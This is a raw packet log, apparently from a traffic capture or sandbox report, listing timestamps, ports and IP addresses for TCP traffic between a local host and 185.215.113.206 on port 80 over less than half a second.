Oct 31, 2024 17:26:30.379040956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.379055023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.379089117 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.379089117 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.379281998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.379293919 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.379321098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.379333019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.379344940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.379360914 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.379360914 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.379391909 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.380951881 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.381006002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.381191969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.381201982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.381211996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.381223917 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.381242037 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.381273985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410168886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410181046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410192966 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410233974 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410265923 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410331964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410343885 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410353899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410366058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410377979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410383940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410432100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410432100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410706997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410718918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410764933 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410842896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410885096 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410913944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410927057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410938025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410950899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.410964966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.410998106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.411447048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.411458015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.411504030 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495028019 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495039940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495052099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495080948 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495137930 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495172024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495183945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495193958 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495206118 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495207071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495229959 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495254040 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495498896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495512009 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495534897 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495554924 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495723963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495737076 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495747089 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495758057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495759010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495775938 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495775938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495790005 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495800972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495803118 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.495824099 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.495847940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496165991 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496217966 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496220112 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496233940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496246099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496257067 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496273041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496567011 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496578932 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496589899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496602058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496603012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496629953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496651888 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496952057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496964931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496974945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496987104 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.496988058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.496999979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.497005939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.497013092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.497025013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.497034073 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.497040033 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.497047901 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.497056007 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.497078896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.497102022 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.498083115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498094082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498104095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498116016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498126984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.498126984 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498140097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498152018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498152971 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.498168945 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498174906 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.498183012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498189926 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.498195887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498209000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498220921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498220921 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.498249054 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.498986959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.498999119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499008894 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499026060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499025106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.499037027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499048948 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.499049902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499067068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499078035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.499079943 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499092102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499095917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.499105930 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.499119997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.499149084 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.528681040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.528692007 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.528702974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.528745890 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.528824091 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.528922081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.528935909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.528945923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.528958082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.528986931 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.529026985 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.529115915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529126883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529138088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529165030 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.529170036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529185057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529187918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.529196024 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529208899 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.529210091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529222012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.529227972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.529246092 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.529284954 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.569529057 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.569578886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.569590092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.569606066 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.569689035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.569689035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.613306046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613318920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613329887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613373995 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.613437891 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.613459110 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613470078 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613478899 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613491058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613502026 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.613533020 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.613812923 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613825083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613835096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.613887072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.613887072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614111900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614124060 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614134073 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614145994 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614161015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614166021 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614172935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614185095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614188910 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614196062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614211082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614213943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614238024 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614263058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614499092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614507914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614567041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614567041 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614609957 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614623070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614633083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614644051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614655018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614656925 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614666939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614679098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614690065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614700079 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.614700079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614700079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614721060 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.614741087 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615112066 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615123987 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615133047 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615144014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615154982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615164995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615169048 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615175962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615185976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615197897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615196943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615196943 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615209103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615221024 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615222931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615241051 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615268946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615665913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615678072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615688086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615699053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615709066 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615714073 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615755081 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615755081 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.615925074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615936995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615946054 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615956068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615967035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615978956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.615979910 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616014957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616014957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616055965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616067886 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616077900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616087914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616099119 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616110086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616120100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616120100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616122961 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616134882 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616144896 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616144896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616172075 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616172075 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616195917 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616822004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616832972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616842031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.616872072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.616902113 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.646419048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646446943 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646459103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646522999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.646522999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.646574020 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646611929 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.646641970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646653891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646663904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646670103 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646681070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.646687031 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.646722078 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.646742105 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647041082 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647052050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647103071 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647103071 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647140026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647150993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647161961 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647198915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647233963 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647233963 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647382021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647392988 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647402048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647412062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.647452116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647452116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.647504091 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.689146996 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.689167023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.689178944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.689239025 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.691859961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.731585979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.731612921 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.731623888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.731654882 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.731695890 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.731759071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.731770039 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.731780052 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.731801033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.731834888 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.732023954 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732036114 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732045889 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732057095 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732069016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732080936 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.732121944 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.732121944 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.732285023 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732295036 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732305050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732316017 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732327938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732341051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732367039 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.732415915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.732589960 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732600927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732611895 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:30.732631922 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.732666016 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:30.770134926 CET	62829	80	192.168.2.4	185.215.113.206
